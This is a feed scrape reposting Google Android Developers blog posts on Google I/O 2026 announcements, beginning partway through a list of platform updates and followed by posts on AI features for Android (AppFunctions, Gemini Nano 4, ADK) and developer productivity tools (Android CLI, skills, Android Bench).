  <h3><strong><span>7: Android is now Compose First; Views are now in maintenance mode.</span></strong></h3>
  Compose is our standard for UI development, and we are moving to a Compose-first approach for all future guidance and libraries. Building on five years of evolution, the latest releases deliver a more mature toolkit, from the highly customizable Styles API to refined shared element transitions and enhanced input support. These updates allow you to build beautiful, adaptive apps with less code and better performance. Learn more about what Compose-first means for Android Development in <a href="http://android-developers.googleblog.com/2026/05/android-ui-development-is-compose-first.html">our blog post</a>. <br><br></div><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgq9kh5gxOfSdY2w9ZeKdWropXpqP7rj4KtodIZA5B_j7ujQu-blrsQKKC0lI4VEsEycpLEwsZeJhHaNOY1Xe9DrIHDwVszYfQN0GQlwxz8xoVfg1oiIr9zNlUyqqdCl2M7pyHoHgVvC7omKRthmXNaO3GE5Q15XeZ1ALiugszd8qHxpWuHo2Eh79zYW4M/w640-h416/image5.png"></div><div><div><i>Build Android UI with Compose</i></div><h3><strong><span>8: Building seamless Android experiences across devices with Jetpack Compose</span></strong></h3><div>The Android ecosystem is now <a href="https://goo.gle/AdaptiveApps_IO26">Adaptive by Default</a>, moving fluidly across phones, foldables, tablets, cars, XR, and expanding usages with <a href="https://developer.android.com/googlebook">Googlebook</a> and connected displays. With over 580 million large-screen devices, and users on multiple devices spending up to 14x more on apps, the investment in adaptive design presents a massive opportunity. <a href="https://developer.android.com/compose">Jetpack Compose</a> is the definitive engine for this transition, offering core tools like our latest <a href="http://goo.gle/nav3">Jetpack Navigation 3</a> release, new experimental <a href="https://developer.android.com/develop/ui/compose/layouts/adaptive/grid">Grid</a> and <a href="https://developer.android.com/develop/ui/compose/layouts/adaptive/flexbox">FlexBox</a> layouts, enhanced non-touch input support, and <a href="https://developer.android.com/media/camera/camerax">CameraX</a> for correct camera previews across any window size. Furthermore, new <a href="https://developer.android.com/tools/agents/android-skills">skills</a> in Android Studio make updating your existing app to adopt these adaptive patterns easier than ever.

  <img src="https://blogger.googleusercontent.com/img/a/AVvXsEi3DD3G6IUrmOwYh7bMq0uieBvGL8li2W48YnUfQfa3ZXy2kD7QvPorNfAyCSmFlBs4q0csXDqmZjhyGf8UHFE2pUNjvqxLaaJhmm6QpSBumq2YkMHI1jyiTNfh5WQhEEY9hP6vWhcbbwflygdTwYzoIdnuIqoht0S6iGKk4pVCnxL2wVXYBMBlcdeneD8"><i>Notability’s Android debut sets a new standard for premium productivity apps. Built with Jetpack Compose, Navigation 3, and Kotlin Multiplatform, it delivers an intuitive, adaptive experience across devices.</i></div><h3><strong><span>9: Create seamless experiences for Googlebook</span></strong></h3>
  Last week we announced <a href="https://developer.android.com/googlebook">Googlebook</a>, a high-performance laptop that provides a large-screen canvas for your existing apps. Building with adaptive principles today helps ensure your app will work on Googlebook. Get started by reviewing relevant <a href="https://developer.android.com/design/ui/desktop">design guidance</a> and <a href="https://developer.android.com/docs/quality-guidelines/adaptive-app-quality/experiences/desktop">developer guidelines</a> for desktop experiences. Try out the new Desktop Emulator available in the Android Studio Canary to to test your apps for this form factor today.</div><div><br></div><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgtH3cjiXICi8dNCtQTDV9PTyjt4wPQBl1xA9XGKGU6FmqLRuBm9YyH7HNQsydD6H6F2GIPw2TdUsFyeu2xMFUO2Jk36k5QXjuWNdm_VE8AQftq2w2m0RPFyYfyZjTppSOjzuOEpJMzF08t9V0YZr-xI7mu31uvcRItugwvVxPUBouSmOXt1MsqbB1WPC0/w640-h360/image3.png"></div><div><div><i>New Desktop Android Emulator</i></div><h3><strong><span>10: Unified widget development experience with Jetpack Glance</span></strong></h3>
  Android 17 marks a shift toward a single, Compose-based development model for all widgets. By unifying the experience across mobile, Wear OS, and cars through Jetpack Glance, you can soon scale UI components across the ecosystem with a familiar workflow. <br><br>The breakthrough this year is the integration of RemoteCompose. On mobile and cars, it powers high-fidelity animations, while on Wear OS, it allows Wear Widgets (formerly Tiles) to render complex UI logic natively on remote surfaces. This ensures peak performance on low-power hardware while allowing a cohesive user journey—like checking a flight status on your car dashboard and seeing gate change updates on your wrist.</div><div><br></div><div><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiA5s4g4hCW89qdeC2oqrTtxh6q7t9q3-wkOSt3tfVzCT3vhLUd1GMYJrhCjK04O2jyxBGl0R2pclnRq3Kb0f0Td-hV9aukKvZQTfGpGJS6GLK0MqUkpVW_0qiNC1eMGe6NPPhlCHrnQWFYhmbdSzpDnUHh5tjvpmUzZOvY2w_dX1LBnpNctSRmeahXUl4/w640-h320/blog_widgets.gif"></div><div><i>Four widgets are shown cycling through in the Android Auto interface. A clock, a contact card, Google Home favorites and a photo.</i></div><div><i><br></i></div><div><strong><span>11: Expand your reach on the road with Android for Cars</span></strong><br>To help you expand your reach when you build in-car experiences, we're making it easier to build once and deliver your apps to Android Auto and Android Automotive OS. With the latest releases of the Car App Library, you can build customized, distraction-optimized <a href="https://developer.android.com/training/cars/apps/media">templated media apps</a> for both platforms. We're introducing new <a href="https://developer.android.com/design/ui/cars/guides/components/overview">components</a> and template capabilities to give you increased flexibility and more options for laying out content. Parked experiences are expanding too, with immersive video playback coming to Android Auto for phones running Android 17. You can easily adapt your video apps for these parked experiences; <a href="https://docs.google.com/forms/d/e/1FAIpQLSf0z4Nfw8wrloVhlgHDpLgdkg4WXsFj9ni5c1pw0qTvJ3Q4fQ/viewform">apply now to the early access program</a> to publish in these beta categories and learn more about the latest updates in our <a href="http://android-developers.googleblog.com/2026/05/android-for-cars-unifying-platforms-premium-experiences.html">blog</a>.<h3><strong><span>12: Accelerate your development with Android XR Developer Preview 4</span></strong></h3>Inspired by the innovative experiences you’ve built for the platform, we’re continuing to mature our tools with <a href="https://goo.gle/XRSDK_IO26">Developer Preview 4 of the Android XR SDK</a>. A key milestone in this journey is the transition of our core libraries, XR Runtime, Jetpack SceneCore, and ARCore for Jetpack XR, moving to Beta soon to provide a more stable and performant foundation. We are also accelerating hardware access through the <a href="https://goo.gle/Catalyst_IO26">Android XR Developer Catalyst Program</a>, where you can apply for XREAL’s Project Aura, audio glasses, or display glasses developer kits. Watch The latest in Android XR session or <a href="https://goo.gle/XRSDK_IO26">read our blog</a> to see how these updates help you build experiences across the ecosystem.</div><div><br><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjyjbgGH7RwGkOkQLoXeLd88Vo7cXRjHLBSRokBWkzvYQUrqqbfrTXukM1u_SuGq0-AoXRPoGABpCOF-HMad4-aoNvXjTVyNXgGpbffTlSQMbTaXJva1c2GiUBx1fhC4fCCd0XO9XFzKNzs6edNqo0RAx-p2ZNXy0l-StJh7AxhyphenhyphenrXi-lqe-jXL0n8oprs/w640-h360/Aura%20Geospatial%20Tour%20Demo%20-%20Draft%2001%20(1).gif"></div><i><div><i>Early preview of the Geospatial API  in ARCore for Jetpack XR, enabling high-precision anchoring of digital content to real-world locations.</i></div></i><h3><strong><span>13: Android is your new home for professional-grade media experiences</span></strong></h3>
  Android 17 streamlines the entire media lifecycle with a production-ready toolkit. High-fidelity capture is now simplified with the CameraXViewfinder Composable, which handles complex scaling and responsiveness on foldables and tablets. For post-production, the new Media3 AI Effects library provides a single interface for premium features like Magic Eraser and Studio Sound, automatically optimizing for the device's hardware. <br><br>The pipeline is completed by CodecDB, offering chipset-specific encoding recommendations to eliminate export noise, and a new Scrubbing Mode in ExoPlayer for ultra-smooth seeking. Whether you’re compositing multi-asset edits with Media3 Transformer or using the streamlined CastPlayer API, these updates ensure a professional-grade experience with significantly less development overhead.</div><div><br><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhXXvjrWhhRUXdYJyhuu-Vnf0UP2jKcYhAvUggZJi10kndrixZdx4cD8HEhrWVmavlxAUT5N025Fx1kgOLJP5w83LDUSR3E9YzfIJUuZ3WBedFSBtI_oLgIcxSOYg-s53obwX_8HtYqfxSaz95LVzSiMAdrrwgL4T6TVETwtxxkZV2mSkkAfvYA681zNlc/w640-h542/supercharge%20(1).gif"></div><div class="separator"><i>Low Light Boost and Magic Eraser in action</i></div><h3><strong><span>14: Increase app discovery and engagement on Google TV</span></strong></h3>
  Pointer remotes, which enable motion-controlled input, will be a future way for users to interact with Google TV as it unlocks faster user navigation. App developers can start <a href="https://developer.android.com/training/tv/get-started/hardware#no-touchscreen">declaring support for pointing input</a> to ensure their apps are discoverable on future TVs with pointer remotes. Additionally, the Engage SDK, formerly known as the Video Discovery API, optimizes Resumption, Entitlements, and Recommendations across all Google TV form factors to boost app discovery and engagement. It’s a great time to start onboarding the Engage SDK now, since the legacy Watch Next API, which has been powering your continue watching 1.0 experience, will lose support in the 2nd half of 2027. Get all the details in our <a href="http://android-developers.googleblog.com/2026/05/increase-google-tv-app-discovery.html">blog</a>.</div><div><h3><strong><span>15: Performance: the foundation of a great app experience</span></strong></h3>To help developers navigate memory limits in Android 17, we've launched a suite of optimization tools. The <a href="https://developer.android.com/r8-analyzer">R8 Configuration Analyzer</a> identifies keep rules that are bloating your binary, while <a href="https://developer.android.com/topic/performance/tracing/profiling-manager/how-to-capture">ProfilingManager</a> and the integrated LeakCanary in Android Studio streamline memory leak detection. Furthermore, the new <a href="https://developer.android.com/android-performance-analyzer">Android Performance Analyzer</a> offers advanced AI integration for complex trace analysis and automated SQL query generation to pinpoint performance bottlenecks.     <h2><strong><span>And The Latest on Driving Business Growth </span></strong></h2>

  <h3><strong><span>16: What’s new in Google Play</span></strong></h3>Today's <a href="https://goo.gle/play-io26">updates from Google Play</a> help expand your reach and scale your business with less complexity. We’re redefining Play Store discovery with an immersive, short-form video format called Play Shorts, while expanding your audience beyond the store with app discovery in the Gemini app on Android and web. Plus, we’re introducing powerful new capabilities like agentic catalog management for seamless bulk price and SKU updates, and using Gemini models to enable Play Console  to pre-populate store listings from imported documents—making global localization effortless. </div><div><br><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgOB1wGZNYGPgY0ED70X7Dtl2KiFk8kRH4fv3HrXXTWX0-xKkN4Em0mi8QAB0g2w_-4SNcTR4fJazpiQ7XI6-XKeyQniFhULKWNmV8YvyWMuQ9tosvT5ixZ0FOye27DI90R5Tra1eWX3FCX7OrWkgzhvhCD6vtfD8_6-FMfMWDvXoVv3zSTauZwraDGsM4/w640-h360/IO26_BlogInLine_App-discovery-in-Gemini_1920x1080_1605.gif"></div><div><i>Gemini will provide users with app suggestions during a search</i></div>

  <h3><strong><span>17: And of course, Android 17</span></strong></h3>
  Android 17 includes new performance &amp; system architecture improvements (in addition to app memory limits) like a lock-free MessageQueue and a GC with more frequent, less intensive young-generation collections to ensure system-wide stability and smoother UIs. The new <a href="https://developer.android.com/about/versions/17/features/contact-picker">contact picker</a> and <a href="https://developer.android.com/reference/android/content/Intent#ACTION_OPEN_EYE_DROPPER">eyedropper API</a> help minimize the use of sensitive permissions and unnecessary access to user data. <br><br>Review <a href="https://developer.android.com/about/versions/17/behavior-changes-all">the behavior changes</a> to make sure your app is ready for Android 17, including <a href="https://developer.android.com/about/versions/17/behavior-changes-all#bg-audio">background audio hardening</a> and <a href="https://developer.android.com/about/versions/17/behavior-changes-all#sms-otp-all-apps">SMS OTP protection</a>. Get ready to <a href="https://developer.android.com/about/versions/17/behavior-changes-17">target Android 17</a> (API 37) with changes such as mandatory large-screen resizability, certificate transparency by default, and restricted local network access. You can start testing today by enrolling your device <a href="https://android-developers.googleblog.com/2026/04/the-fourth-beta-of-android-17.html">in the Beta</a> or using the latest 17.0 emulator images. <br><br>One more thing. the third beta of our Android 17 quarterly platform release (QPR1) just came out, and it contains a minor SDK release to support a few features that just couldn't wait for QPR2.

  <h2><strong><span>Check out all of the Android &amp; Play Content at Google I/O </span></strong></h2>
  <p><span face="sans-serif">This was just a preview of some of the updates for Android developers at Google I/O. Tune into <a href="https://io.google/2026/explore/pa-keynote-5">What’s New in Android</a> for the latest news and announcements and <a href="https://io.google/2026/">follow Google I/O</a> for much more over the following week!</span></p></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Top AI on Android updates for building intelligent experiences from Google I/O ‘26]]></title>
<description><![CDATA[Posted by Jingyu Shi, Staff Developer Relations EngineerAt Google I/O 2026, we introduced Android’s shift from an operating system to an intelligence system. We also demonstrated how you can build intelligent experiences natively with the system and bring the power of Google’s AI into your apps. ...]]></description>
<link>https://tsecurity.de/de/3693510/android-tipps/top-ai-on-android-updates-for-building-intelligent-experiences-from-google-io-26/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693510/android-tipps/top-ai-on-android-updates-for-building-intelligent-experiences-from-google-io-26/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:43 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjqtr_NVZaXiVnywBK8bKIamZw4oM3DFopMeWXl_DsHJktlRpmuCkOCQEkc85z-xJ8id7DT8ggl6OopYCndxxYb8kA2LIttV3DlL1Mzmt5OffK_Lyq1q_mxg4RdUjQ23rOyNY5N3wopBtBODH-HQsPRqBc8cS8Kw0Azhz14Jn8EjEdKQ3znXGLRVUpM_-g/s4097/Blog_Meta@2x.png">



<i>Posted by Jingyu Shi, Staff Developer Relations Engineer</i><div><i><br></i><div><name content="IMG" twitter:image=""><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgnWqvWK7oNvOOsTjwsLlEtnmvh7HwduYCahIBBtGUCUZQmQ0pfEWvk3hH0xlrnhyi5oZzY_ZU22jLYl-IA00DVLLi0No_oYWTXYZSk95GLU5P-IirCS74fx2MAUV5mKO_p_6SvFiiNmFnuUoet0QHyMjc8TeLE4Ie7HE3wcFfNeFzkN66IDCkNx1QYQiI/s8419/BLOG%20HERO_BLOGGER@2x.png"><img border="0" data-original-height="2507" data-original-width="8419" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgnWqvWK7oNvOOsTjwsLlEtnmvh7HwduYCahIBBtGUCUZQmQ0pfEWvk3hH0xlrnhyi5oZzY_ZU22jLYl-IA00DVLLi0No_oYWTXYZSk95GLU5P-IirCS74fx2MAUV5mKO_p_6SvFiiNmFnuUoet0QHyMjc8TeLE4Ie7HE3wcFfNeFzkN66IDCkNx1QYQiI/s16000/BLOG%20HERO_BLOGGER@2x.png"></a></div><br><i><br></i><p></p><p><i></i></p><br></name><div>At Google I/O 2026, we introduced Android’s shift from an operating system to an intelligence system. We also demonstrated how you can build intelligent experiences natively with the system and bring the power of Google’s AI into your apps. If you missed these updates, check out our quick recap video here: </div><div><div><name content="IMG" twitter:image=""><br><div class="separator">
<div class="separator">
  
  
</div>
  <br></div></name><h4><name content="IMG" twitter:image=""><b><span>1. Putting your apps at the center of the intelligence system</span></b></name></h4><name content="IMG" twitter:image=""><div>The Android OS already enables agents like <a href="https://www.android.com/gemini-intelligence/?utm_source=blog.google&amp;utm_medium=owned&amp;utm_campaign=next">Gemini</a> to complete task automation, where it can navigate an app on the users behalf. </div><div><br></div><div><a href="https://developer.android.com/ai/appfunctions">AppFunctions</a> (Android MCP) provides you with more control over how your app integrates with the intelligence system. This new platform API and Jetpack library are currently available in experimental preview. </div><p></p><ul><li><name content="IMG" twitter:image=""><b>Android MCP:</b> AppFunctions allows your application to act as an on-device Model Context Protocol (MCP) server. It means you seamlessly share your app's tools, services and data to the system and agents.</name></li></ul><p></p><p></p><ul><li><name content="IMG" twitter:image=""><b>Streamlined Development: </b>You can leverage the new <a href="https://github.com/android/skills/tree/main/device-ai/appfunctions">skill</a> to easily generate AppFunctions within your codebase.  </name></li></ul><p></p><p></p><ul><li><name content="IMG" twitter:image=""><b>Exploration and Testing:</b> We’ve released a new <a href="https://github.com/android/appfunctions/releases">test agent</a> that allows you to experiment and debug your AppFunctions in a simulated agent environment. </name></li></ul><span><div align="center" dir="ltr"><table><colgroup><col></colgroup><tbody><tr><td><div><span face='"Google Sans Text", sans-serif'>Early Access Program</span><span face='"Google Sans Text", sans-serif'>: Want to be among the first apps to deploy app functions in production? </span><a href="https://docs.google.com/forms/d/e/1FAIpQLScEoIsgzE-LbgRrYcQMc-Lit_5VlKRA0iWw7Pvg1brIc8wXAw/viewform"><span face='"Google Sans Text", sans-serif'>Join</span></a><span face='"Google Sans Text", sans-serif'> our early access program today!</span></div></td></tr></tbody></table></div></span></name></div><div><br></div><div>To see it in action, check out the live demo showcased during the <i>What’s New</i> in Android presentation.</div><div><br></div><div class="separator">
<div class="separator">
  
  
</div>
  <div><div><span><br></span></div><h4><b> <span>2. On-Device Power with Gemini Nano 4 Preview</span></b></h4><br><div>Last month, we launched <a href="https://android-developers.googleblog.com/2026/04/gemma-4-new-standard-for-local-agentic-intelligence.html">Gemma 4</a>, our state-of-the-art open models. You can already preview and prototype with the next generation of Gemini Nano (Nano 4) models with the <a href="https://developers.google.com/ml-kit/genai/aicore-dev-preview">AIcore developer preview</a>. To make productionizing with Gemini Nano more reliable and performant, we are adding a few new features in <b>ML Kit GenAI APIs</b>: </div><br><p></p><p></p><ul><li><b>Prototype to Production: </b>Transition from prototyping in the AICore Developer Preview to building production-ready apps using the ML Kit GenAI <a href="https://developers.google.com/ml-kit/genai/prompt/android/get-started">Prompt API</a> to leverage Gemini Nano 4 that’s launching in flagship devices later this year.</li></ul><p></p><p></p><p></p><ul><li><b>Structured Output:</b> The upcoming Structured Output API will allow you to define object classes to be returned as outputs from Prompt API, ensuring reliable outputs in productionizing your intelligent features. </li></ul><p></p><p></p><ul><li><b><a href="https://developers.google.com/ml-kit/genai/prompt/android/prefix-caching">Prefix Caching</a>:</b> It optimizes your on-device inference performance with the prompt API. The new Prefix caching reduces inference time by storing and reusing the intermediate LLM state of processing a shared and recurring part of the prompt.</li></ul><p></p><div><b><br></b></div><div>For highly customized or niche use cases, you can also use LiteRT-LM to <a href="https://youtu.be/boy-UjB8hpA?si=MCPddRD7eblz8ICr">bring your own</a> fine-tuned small language model to Android.</div></div><br><div class="separator">
<div class="separator">
  
  
</div>
</div><div class="separator"><br></div><div class="separator"><br></div><b><div><b><span>3. Hybrid Inference &amp; Agents</span></b></div></b><div><div><br></div><div>To help you build more advanced AI features like hybrid inference and explore building in-app agents, we’ve released new APIs, framework and guidances:</div><p></p><p></p><ul><li><b><a href="https://android-developers.googleblog.com/2026/04/Hybrid-inference-and-new-AI-models-are-coming-to-Android.html">Firebase AI Logic Hybrid Inference</a>: </b>This new API provides the simple routing capability between on-device models and powerful cloud infrastructure. You can set explicit orchestration modes, such as <code>PREFER_ON_DEVICE</code>, <code>PREFER_CLOUD</code>, <code>ONLY_ON_DEVICE</code>, or <code>ONLY_CLOUD</code>, based on your need.</li></ul><p></p><p></p><p></p><ul><li><b>A2UI Jetpack Compose Renderer:</b> The new A2UI library allows your agents to "speak UI". With the upcoming Jetpack Compose Renderer, you can automatically render these A2UI messages as native UI components.</li></ul><p></p><p></p><ul><li><b><a href="https://developers.googleblog.com/adk-kotlin-android-building-ai-agents/">ADK for Android</a>:</b> The first version of ADK for Android is available for experimentation. It allows you to build multi-agent workflows across both on-device and Cloud models while managing orchestration, context handling and sessions between agents.</li></ul><div><br></div><div>From building with on-device models, exploring hybrid inference to building agents, you can see them in action in this talk: </div></div><div> <br><p></p><div class="separator">
<div class="separator">
  
  
</div>
  </div><div class="separator"><br></div><div class="separator"><h3>Start Building Today</h3><div class="separator"><div class="separator"><div class="separator">Whether you are experimenting with AppFunctions to prepare for the intelligence system, or looking to bring the power of Google’s AI within your own app, we’ve got you covered. Dive deeper into the code snippets, samples and comprehensive developer guides on the Android AI <a href="https://developer.android.com/ai">hub</a>. For the full breakdown of what’s new, check out the official <b>AI on Android at Google I/O 2026</b> <a href="https://www.youtube.com/playlist?list=PLWz5rJ2EKKc-GL3584TkxUyoPfzPkB1mV">playlist</a>.</div><div class="separator"><br></div><div class="separator">We are excited to see what you build! </div><div><br></div></div><div><br></div></div></div></div></div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Top 3 updates for Android developer productivity]]></title>
<description><![CDATA[Posted by Simona Milanovic, Developer Relations Engineer

Every year, Google I/O brings new announcements and resources across ecosystems and products, including Android development. As development shifts toward AI and agent-assisted tooling, we’ve expanded our offerings to better support you, ho...]]></description>
<link>https://tsecurity.de/de/3693506/android-tipps/top-3-updates-for-android-developer-productivity/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693506/android-tipps/top-3-updates-for-android-developer-productivity/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:38 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiVRZrq_G4uVlVKLwXHoXqLsp3SGb-2GJbHfNRNmjfSPuZ9gUrLJ8_fyNTDP-_jsJowwajpxaLPFd8047rF7B5IpSE8-gXFtwVx3x4WpEqWLX3Cm-bKo9tof1j5yTLT66FmzpEnod7EK8_3vUDNZv12uDz1lnfZ5O8iOQqxfWgH0oOYXd3CXvG4IUJuRfU/s4097/MM_Dev%20Productivity_Meta.png"><div><i>Posted by Simona Milanovic, Developer Relations Engineer</i></div><p class="post-author"></p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjux_TC0rxXOwY28_pZlUZ5rOLTSjuCXAfcGOd_auXXQ1D91clcsNSmIYs939dNNL7ymPVs1Q2PTFa_FwzBnlbcnNavO6MlwlCv9U2XPUDU-5I_HeVfeS72JoCHrkmGO3bXjXpJtJK8H7glEX6hfKn78-GynO8w9RqT-N-EE37oyA2rFxy6JukihWgndFE/s8419/MM_Dev%20Productivity_Blog.png"><img border="0" data-original-height="2507" data-original-width="8419" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjux_TC0rxXOwY28_pZlUZ5rOLTSjuCXAfcGOd_auXXQ1D91clcsNSmIYs939dNNL7ymPVs1Q2PTFa_FwzBnlbcnNavO6MlwlCv9U2XPUDU-5I_HeVfeS72JoCHrkmGO3bXjXpJtJK8H7glEX6hfKn78-GynO8w9RqT-N-EE37oyA2rFxy6JukihWgndFE/s16000/MM_Dev%20Productivity_Blog.png"></a></div><br><i><br></i><p></p>

<p>Every year, Google I/O brings new announcements and resources across ecosystems and products, including Android development. As development shifts toward AI and agent-assisted tooling, we’ve expanded our offerings to better support you, however you decide to build for Android.</p><div class="separator"><div class="separator">
  <div>
    
  </div>
</div>

<p>To help you stay up to date, here is a summary of the<b> top 3 announcements for Android Developer Productivity at I/O</b>.</p>

<h2>1. Android CLI is now stable</h2><p><a href="https://developer.android.com/tools/agents/android-cli">Android CLI</a> is now <strong>stable at version 1.0</strong>, with more capabilities and integrations.</p>

<p>The latest version of Android CLI introduces many new features, like programmatic version lookup and support for Journeys, and bridging capability to allow agents to <strong>integrate directly with Android Studio</strong>, via the <a href="https://developer.android.com/tools/agents/android-cli#studio-check">studio command</a>.</p>

<p>Running Android Studio alongside the agent and Android CLI enables more efficient navigation in your project, more precise output, and access to <strong>Android Studio’s unique tooling</strong>, such as performance profilers, Compose Previews, and Android Device Streaming.</p><div class="separator"><div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjsMNSFKeo81-n949Gxy89kxE4j9xTtoJXnyEYGULxkjQXjndkMpdDzO74Xr2rvtuJuEooGeZeMJPf_H1UJC4YljU-jrBswJOMgsQBPm-_CO2Z2EYntVE3osq8maf2chHJHB8WvRVvvf_14TxkpARGAOGAUsqYQ-vWZtm2iUhanT-Zz3GDD2HQrQk1Jpcg/s1948/1_agy-android-studio.png"><img border="0" data-original-height="1552" data-original-width="1948" height="510" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjsMNSFKeo81-n949Gxy89kxE4j9xTtoJXnyEYGULxkjQXjndkMpdDzO74Xr2rvtuJuEooGeZeMJPf_H1UJC4YljU-jrBswJOMgsQBPm-_CO2Z2EYntVE3osq8maf2chHJHB8WvRVvvf_14TxkpARGAOGAUsqYQ-vWZtm2iUhanT-Zz3GDD2HQrQk1Jpcg/w640-h510/1_agy-android-studio.png" width="640"></a></div><div><i>Android CLI now integrates seamlessly with Android Studio</i></div></div>

<p>Additionally, Google Antigravity now officially supports Android development, with the <strong>Android resources bundle</strong>, which includes the Android CLI and skills.</p>

<p>You can either install the bundle during onboarding after installation, or later from the <strong>Settings &gt; Customizations &gt; Build With Google Plugins</strong> menu. This provides Antigravity with all the powerful tools and knowledge of Android CLI to enable it to perform core tasks—from creating projects to deploying your app on a new virtual device—much more easily and efficiently.</p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhg5lVac9WbZ_qdkjNLaQto2LX4c0tFD9zF3QIjtGcFXePDigzX7G8xAAQdo8YX6yt7U38-meDeTRQ1TCK-a7YUvjDk6D88ZfTNOQLI-6Xza52AugLbgEyg24kIzUR67lC9k3iX8H_gxk7JUYpHxSiHAJgQkFqN0CiXD8i5k4CE8Px308kNtVbKCYegJtI/s1948/1_agy-android-cli.png"><img border="0" data-original-height="1552" data-original-width="1948" height="510" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhg5lVac9WbZ_qdkjNLaQto2LX4c0tFD9zF3QIjtGcFXePDigzX7G8xAAQdo8YX6yt7U38-meDeTRQ1TCK-a7YUvjDk6D88ZfTNOQLI-6Xza52AugLbgEyg24kIzUR67lC9k3iX8H_gxk7JUYpHxSiHAJgQkFqN0CiXD8i5k4CE8Px308kNtVbKCYegJtI/w640-h510/1_agy-android-cli.png" width="640"></a></div><div><i>Google Antigravity now offers the Android resources bundle</i></div>

</div><p><span>Android CLI is now available through more package managers: like </span><code>npm</code><span> and </span><code>homebrew</code><span>. </span><span>For more information, check out the </span><a href="https://android-developers.googleblog.com/2026/05/android-cli-stable-1-0-agent-development.html">Android CLI blog post</a><span> and </span><a href="https://developer.android.com/tools/agents/android-cli">official documentation.</a></p><div><div class="separator"><h2>2. Android skills keep growing</h2><p>To help models gain expertise for specific development patterns that follow our best practices, we are continuing to <strong>expand our repository of Android skills</strong>, available through <a href="https://developer.android.com/tools/agents/android-cli#skills-add">Android CLI</a> and <a href="https://github.com/android/skills">GitHub</a>.</p>

<p>Android skills ground LLMs in <strong>specialized workflows and domain knowledge,</strong> for the most common and more complex user journeys they might struggle with. We’ve shipped a fresh <strong>new batch of skills,</strong> with now more than 17 skills for areas such as:</p><ul><li>Adaptive UI</li><li>Display Glasses and Jetpack Compose Glimmer for XR</li><li>Migration to CameraX</li><li>Perfetto SQL and Trace Analysis</li><li>Jetpack Compose Styles API</li><li>AppFunctions</li><li>Verified email retrieval with Android Credential Manager</li><li>Engage SDK integration</li><li>Testing setup</li><li>Wear OS Jetpack Compose Material3</li></ul><br><div class="separator"><img border="0" data-original-height="405" data-original-width="720" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiOV9PePtO9nHxegfJn96Lsab3Z1fD7FEsjdQ9EQ2vzNOc9es2_S6h8twazy_ief9YVabhkOUWu7xJHr-hxINrva44O7QDpt3z96UtGXbvJYtAARj4tVWK3SPuFVr2in-MSdyCdpY5aOdqRbBjtw06-n365vZv8_Or8YCDrj6FQyoVl6xxKibEJF4Nh3io/s16000/2_android_skills_dev_keynote.gif"><i>Android skills keep growing</i></div><div class="separator"><i><br></i></div><div><div>You can browse skills and install using the Android CLI commands:</div><p></p>

<pre><div>android skills list</div><div>android skills add –skill=&lt;skill-name&gt;</div></pre>

<p>For more information, check out the <a href="https://developer.android.com/tools/agents/android-skills">official documentation.</a></p>

<h2>3. Android Bench adds new models</h2><p>Earlier this year, we launched <a href="https://developer.android.com/bench">Android Bench</a> - our leaderboard for <strong>testing LLMs on real-world Android development</strong> challenges and tasks, with the goal of accelerating model improvements, so you have more helpful options for AI assistance.</p><div class="separator"><br></div><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjb0KK5bxvuZazJH0qRgHNv7cHl9uhVwZIZprnwGTBufcU7KXLpFJzNO4tCaCJLjh4mrZIqmTuFSMyRadcJxyTsWty65oLaKwi_8L_jAWHERsWYJ6hbZf5qVoDHJCZb-i0U40B3Xz8nRg-nvFYD8cf-nFx7PPG7ffBL-w4bS9RTQx_GOdQ7RXWjUN5RTbI/s2618/AndroidBenchLeaderboard.png"><img border="0" data-original-height="1488" data-original-width="2618" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjb0KK5bxvuZazJH0qRgHNv7cHl9uhVwZIZprnwGTBufcU7KXLpFJzNO4tCaCJLjh4mrZIqmTuFSMyRadcJxyTsWty65oLaKwi_8L_jAWHERsWYJ6hbZf5qVoDHJCZb-i0U40B3Xz8nRg-nvFYD8cf-nFx7PPG7ffBL-w4bS9RTQx_GOdQ7RXWjUN5RTbI/s16000/AndroidBenchLeaderboard.png"></a></div><div><i>Latest results from Android Bench leaderboard</i></div>

<p>You asked us to evaluate open models. So, at I/O, we added more commonly used ones, including our local model <strong>Gemma 4</strong>, to the leaderboard. We also added the latest models including <strong>Gemini 3.5 Flash.</strong></p>

<p>We are also working on increasing the difficulty of challenges we’re giving LLMs, including creating long running tasks, to continue encouraging improvements. These tasks will be coming soon to Android Bench. Check out the <a href="https://developer.android.com/bench">Android Bench leaderboard</a> to see the latest results.</p>

